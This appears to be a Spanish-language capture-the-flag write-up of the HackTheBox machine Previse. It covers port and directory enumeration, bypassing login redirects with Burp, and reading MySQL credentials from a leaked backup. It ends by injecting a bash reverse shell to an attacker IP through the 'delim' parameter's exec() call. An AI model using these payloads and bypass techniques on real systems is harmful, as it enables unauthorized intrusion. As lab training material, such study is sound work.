Inicio Linux & Systems Networks & Infrastructure Cybersecurity Cloud & DevOps SIEM & Monitoring DFIR & Threat Intel Development & Other Todas las categorias Herramientas

HackTheBox – Previse Writeup

HackTheBox – Previse Writeup

Tabla de contenidos

Previse es un desafío catalogada como fácil para ganar acceso y media para elevación de privilegios. 

En primer lugar, como siempre comenzamos lanzando un nmap para comprobar los puertos que están abiertos. 

BASH
# Nmap 7.92 scan initiated Tue Dec  7 15:32:18 2021 as: nmap -p- --open -T5 -v -oG allPorts -n 10.10.11.104
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.11.104 ()	Status: Up
Host: 10.10.11.104 ()	Ports: 22/open/tcp//ssh///, 80/open/tcp//http///	Ignored State: closed (65533)
# Nmap done at Tue Dec  7 15:32:38 2021 -- 1 IP address (1 host up) scanned in 19.77 seconds

omo podemos ver únicamente tiene abierto los puertos 22 y 80.

Lanzamos Whatweb para intentar recabar mas datos

CODE
http://10.10.11.104/ [302 Found] Apache[2.4.29], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.11.104], Meta-Author[m4lwhere], RedirectLocation[login.php], Script, Title[Previse Home]

http://10.10.11.104/login.php [200 OK] Apache[2.4.29], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.11.104], Meta-Author[m4lwhere], PasswordField[password], Script, Title[Previse Login]

Al acceder al puerto 80 nos encontramos con la siguiente web la cual presenta un panel de acceso.

HackTheBox – Previse Writeup

Probamos con contraseñas por defecto pero no conseguimos acceso. Al no conseguir acceso a la web seguimos con nuestro proceso de enumeración

Realizando el fuzz comprobamos que con los wordlist pequeños no nos encuentra nada. al realizarlo con /directory-list-lowercase-2.3-medium.txt empezamos a entrar cosas interesantes como: nav.php

CODE
gobuster dir -u 10.10.11.104 -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -e -s "200,301,302,401" -x "php" -t 100
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.104
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2021/12/07 16:13:02 Starting gobuster in directory enumeration mode
===============================================================
http://10.10.11.104/index.php            (Status: 302) [Size: 2801] [--> login.php]
http://10.10.11.104/header.php           (Status: 200) [Size: 980]                 
http://10.10.11.104/nav.php              (Status: 200) [Size: 1248]                
http://10.10.11.104/download.php         (Status: 302) [Size: 0] [--> login.php]   
http://10.10.11.104/login.php            (Status: 200) [Size: 2224]                
http://10.10.11.104/footer.php           (Status: 200) [Size: 217]                 
http://10.10.11.104/css                  (Status: 301) [Size: 310] [--> http://10.10.11.104/css/]
http://10.10.11.104/status.php           (Status: 302) [Size: 2971] [--> login.php]              
http://10.10.11.104/js                   (Status: 301) [Size: 309] [--> http://10.10.11.104/js/] 
http://10.10.11.104/logout.php           (Status: 302) [Size: 0] [--> login.php]                 
http://10.10.11.104/accounts.php         (Status: 302) [Size: 3994] [--> login.php]              
http://10.10.11.104/config.php           (Status: 200) [Size: 0]                                 
http://10.10.11.104/files.php            (Status: 302) [Size: 7240] [--> login.php]              
http://10.10.11.104/logs.php             (Status: 302) [Size: 0] [--> login.php]                 
http://10.10.11.104/server-status        (Status: 403) [Size: 277] 

Al acceder a nav.php nos encontramos con un pequeño menú

HackTheBox – Previse Writeup

Nos damos cuenta que cuando intentamos acceder a sitio nos hacen una redirección a login.php

HackTheBox – Previse Writeup

Abrimos Burp Suite y vamos a intentar manipular la respuesta del servidor (Más información)

HackTheBox – Previse Writeup

Botón derecho sobre Intercept > Do Intercept > Response to this request

HackTheBox – Previse Writeup

Cambiamos el código http 302 que nos devolvía la web por 200

HackTheBox – Previse Writeup

Al volver de nuevo al navegador comprobamos que hemos podido acceder al apartado de «accounts.php»

HackTheBox – Previse Writeup

Creamos un nuevo usuario

HackTheBox – Previse Writeup

Volvemos a cambiar la respuesta: Botón derecho sobre Intercept > Do Intercept > Response to this request

HackTheBox – Previse Writeup

Cambiamos el código http 302 que nos devolvía la web por 200

HackTheBox – Previse Writeup

Al volver de nuevo al navegador nos encontramos que nos indica que se creo en usuario correctamente.

HackTheBox – Previse Writeup

Una vez finalice la creación del usuario se me ocurrió que la podría haber hecho mediante curl

BASH
curl -is -X POST -d "username=admin&password=temporal01.&confirm=temporal01." 10.10.11.104/accounts.php

Accedemos con el usuario creado anteriormente.

HackTheBox – Previse Writeup

Nos muestra un panel en donde podemos acceder a múltiple información

HackTheBox – Previse Writeup

Vemos que en el apartado «file» un backup

HackTheBox – Previse Writeup

Descomprimimos el archivo para buscar información sensible que nos pudiese ayudar.

CODE
unzip siteBackup.zip 
Archive:  siteBackup.zip
  inflating: accounts.php            
  inflating: config.php              
  inflating: download.php            
  inflating: file_logs.php           
  inflating: files.php               
  inflating: footer.php              
  inflating: header.php              
  inflating: index.php               
  inflating: login.php               
  inflating: logout.php              
  inflating: logs.php                
  inflating: nav.php                 
  inflating: status.php       

Al descomprimir los ficheros encontramos en el archivo «config.php» un usuario y contraseña de MySQL

JAVASCRIPT
cat config.php 
<?php

function connectDB(){
    $host = 'localhost';
    $user = 'root';
    $passwd = 'mySQL_p@ssw0rd!:)';
    $db = 'previse';
    $mycon = new mysqli($host, $user, $passwd, $db);
    return $mycon;
}

?>

Intentamos reutilizar la contraseña para acceder con otro usuario por ssh sin ningún resultado. Por lo tanto nos la guardamos por si nos pudiese servir para mas adelante.

Seguimos buscando… y en archivo logs.php encontramos un posible RCE (Más información) en la función exec()

BASH

$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;

$filepath = "/var/www/out.log";
$filename = "out.log";   

Accedemos nuevamente a la web al apartado file_logs.php, abrimos nuestro Burp Suite y el proxy

HackTheBox – Previse Writeup

Modificamos la query y dejamos un NC escuchando

CODE
delim=comma%26/bin/bash+-c+'bash+-i+>+/dev/tcp/10.10.16.75/443+0>%261'
HackTheBox – Previse Writeup

Una vez ejecutado la query volvemos al terminal donde hemos dejado escuchando NC

HackTheBox – Previse Writeup

Una vez hemos conseguido acceso al servidor nos valemos de la clave obtenida anteriormente ( $passwd = ‘mySQL_p@ssw0rd!:)’; ) para acceder al servicio de MySQL.

HackTheBox – Previse Writeup

Comentarios